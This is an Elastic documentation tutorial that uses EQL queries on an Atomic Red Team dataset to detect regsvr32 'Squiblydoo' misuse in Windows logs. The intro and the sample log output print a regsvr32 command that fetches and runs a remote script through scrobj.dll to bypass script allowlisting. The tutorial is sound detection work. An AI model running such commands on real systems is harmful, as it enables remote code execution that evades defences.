Example: Detect threats with EQLedit

This functionality is experimental and may be changed or removed completely in a future release. Elastic will take a best effort approach to fix any issues, but experimental features are not subject to the support SLA of official GA features.

This example tutorial shows you how you can use EQL to detect security threats and other suspicious behavior. In the scenario, you’re tasked with detecting regsvr32 misuse in Windows event logs.

regsvr32.exe is a built-in command-line utility used to register .dll libraries in Windows. As a native tool, regsvr32.exe has a trusted status in Windows, letting it bypass most allowlist software and script blockers. Attackers with access to a user’s command line can use regsvr32.exe to run malicious scripts using .dll libraries, even on machines that otherwise disallow such scripts.

One common variant of regsvr32 misuse is a Squiblydoo attack. In a Squiblydoo attack, a regsvr32.exe command uses the scrobj.dll library to register and run a remote script. These commands often look like this:

"regsvr32.exe  /s /u /i:<script-url> scrobj.dll"

Setupedit

This tutorial uses a test dataset for regsvr32 misuse from Atomic Red Team. The dataset has been normalized and mapped to use fields from the Elastic Common Schema (ECS), including the @timestamp and event.category fields. The dataset includes events that imitate behaviors of a Squiblydoo attack, as documented in the MITRE ATT&CK® knowledge base.

To get started, download and index the dataset:

  1. Download the normalized-T1117-AtomicRed-regsvr32.json dataset.
  2. Index the data into my-index-000001 with the following bulk API request:

    curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  3. Use the cat indices API to verify the data was successfully indexed.

    GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count

    The API response should show a docs.count value of 150, indicating 150 documents were indexed.

    health status index            docs.count
    yellow open   my-index-000001         150

Get a count of regsvr32 eventsedit

Since you’re looking for regsvr32 misuse, start by getting a count of any events associated with a regsvr32.exe process.

The following EQL search API request uses an EQL query to retrieve a count of events with a process.name of regsvr32.exe. The query starts with the any where keywords, meaning the query can match events of any event category.

GET /my-index-000001/_eql/search?filter_path=-hits.events   
{
  "query": """
    any where process.name == "regsvr32.exe"                
  """,
  "size": 200                                               
}

Uses the ?filter_path=-hits.events query parameter to exclude the hits.events property from the response. The hits.events property contains the document source for any matching events. This request is intended to retrieve a count of events only.

Uses an EQL query to match events with a process.name of regsvr32.exe.

Returns up to 200 events or sequences matching the EQL query.

The request returns the following response, indicating that 143 events match the query.

{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 143,
      "relation": "eq"
    }
  }
}

Check for command line artifactsedit

Based on your previous query, you know regsvr32 processes were associated with 143 events. But how was regsvr32.exe first called? And who called it?

regsvr32.exe is a command-line utility so it may help to narrow your results to processes where the command line was used.

Update the previous EQL query as follows:

  • Change the any keyword to process. This limits matches to events with an event.category of process.
  • Add the and process.command_line.keyword != null condition to match only events with a command line value.

You’ll also need to remove the filter_path=-hits.events query parameter. This lets you retrieve the document source for any matching events.

GET /my-index-000001/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  """
}

The query matches one process event. The event has an event.type of creation, indicating the start of a regsvr32.exe process.

Based on the process.command_line value in the response, regsvr32.exe used scrobj.dll to register a script, RegSvr32.sct. This fits the behavior of a Squiblydoo attack.

The response also includes other valuable information about how the regsvr32.exe process started, such as the @timestamp, the associated user.id, and the process.parent.name.

{
  "is_partial": false,
  "is_running": false,
  "took": 21,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": "my-index-000001",
        "_type": "_doc",
        "_id": "gl5MJXMBMk1dGnErnBW8",
        "_score": null,
        "_source": {
          "process": {
            "parent": {
              "name": "cmd.exe",
              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
              "executable": "C:\\Windows\\System32\\cmd.exe"
            },
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
            "executable": "C:\\Windows\\System32\\regsvr32.exe",
            "ppid": 2652
          },
          "logon_id": 217055,
          "@timestamp": 131883573237130000,
          "event": {
            "category": "process",
            "type": "creation"
          },
          "user": {
            "full_name": "bob",
            "domain": "ART-DESKTOP",
            "id": "ART-DESKTOP\\bob"
          }
        }
      }
    ]
  }
}

Check for malicious script loadsedit

You now know that a regsvr32.exe process was used to register a potentially malicious script, RegSvr32.sct. Next, see if regsvr32.exe later loads the scrob.dll library.

Modify the previous EQL query as follows:

  • Change the process keyword to library.
  • Replace the process.command_line.keyword != null condition with dll.name == "scrobj.dll.
GET /my-index-000001/_eql/search
{
  "query": """
    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  """
}

The query matches an event, confirming scrobj.dll was later loaded by regsvr32.exe.

{
  "is_partial": false,
  "is_running": false,
  "took": 5,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": "my-index-000001",
        "_type": "_doc",
        "_id": "ol5MJXMBMk1dGnErnBW8",
        "_score": null,
        "_source": {
          "process": {
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable": "C:\\Windows\\System32\\regsvr32.exe"
          },
          "@timestamp": 131883573237450016,
          "dll": {
            "path": "C:\\Windows\\System32\\scrobj.dll",
            "name": "scrobj.dll"
          },
          "event": {
            "category": "library"
          }
        }
      }
    ]
  }
}

Determine the likelihood of successedit

In many cases, malicious scripts are used to connect to remote servers or download other files. If this occurred, the attack might have succeeded.

Use an EQL sequence query to check for the following series of events, in order:

  1. A regsvr32.exe process, which could have been used to register malicious scripts as scrobj.dll
  2. A load of the scrobj.dll library by the same process
  3. Any network event by the same process, which could indicate the download of a remote file

To match, each event in the sequence must share the same process ID, recorded in the process.pid field.

Based on the command line value seen in the previous result, you can expect to find a match. However, the sequence query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior while still being generic enough to detect similar threats in the future.

GET /my-index-000001/_eql/search
{
  "query": """
    sequence by process.pid
      [process where process.name == "regsvr32.exe"]
      [library where dll.name == "scrobj.dll"]
      [network where true]
  """
}

The query matches a sequence, indicating the attack likely succeeded.

{
  "is_partial": false,
  "is_running": false,
  "took": 25,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "join_keys": [
          2012
        ],
        "events": [
          {
            "_index": "my-index-000001",
            "_type": "_doc",
            "_id": "gl5MJXMBMk1dGnErnBW8",
            "_version": 1,
            "_seq_no": 3,
            "_primary_term": 1,
            "_score": null,
            "_source": {
              "process": {
                "parent": {
                  "name": "cmd.exe",
                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
                  "executable": "C:\\Windows\\System32\\cmd.exe"
                },
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
                "executable": "C:\\Windows\\System32\\regsvr32.exe",
                "ppid": 2652
              },
              "logon_id": 217055,
              "@timestamp": 131883573237130000,
              "event": {
                "category": "process",
                "type": "creation"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              }
            }
          },
          {
            "_index": "my-index-000001",
            "_type": "_doc",
            "_id": "ol5MJXMBMk1dGnErnBW8",
            "_version": 1,
            "_seq_no": 5,
            "_primary_term": 1,
            "_score": null,
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573237450016,
              "dll": {
                "path": "C:\\Windows\\System32\\scrobj.dll",
                "name": "scrobj.dll"
              },
              "event": {
                "category": "library"
              }
            }
          },
          {
            "_index": "my-index-000001",
            "_type": "_doc",
            "_id": "EF5MJXMBMk1dGnErnBa9",
            "_version": 1,
            "_seq_no": 24,
            "_primary_term": 1,
            "_score": null,
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573238680000,
              "destination": {
                "address": "151.101.48.133",
                "port": "443"
              },
              "source": {
                "address": "192.168.162.134",
                "port": "50505"
              },
              "event": {
                "category": "network"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              },
              "network": {
                "protocol": "tcp",
                "direction": "outbound"
              }
            }
          }
        ]
      }
    ]
  }
}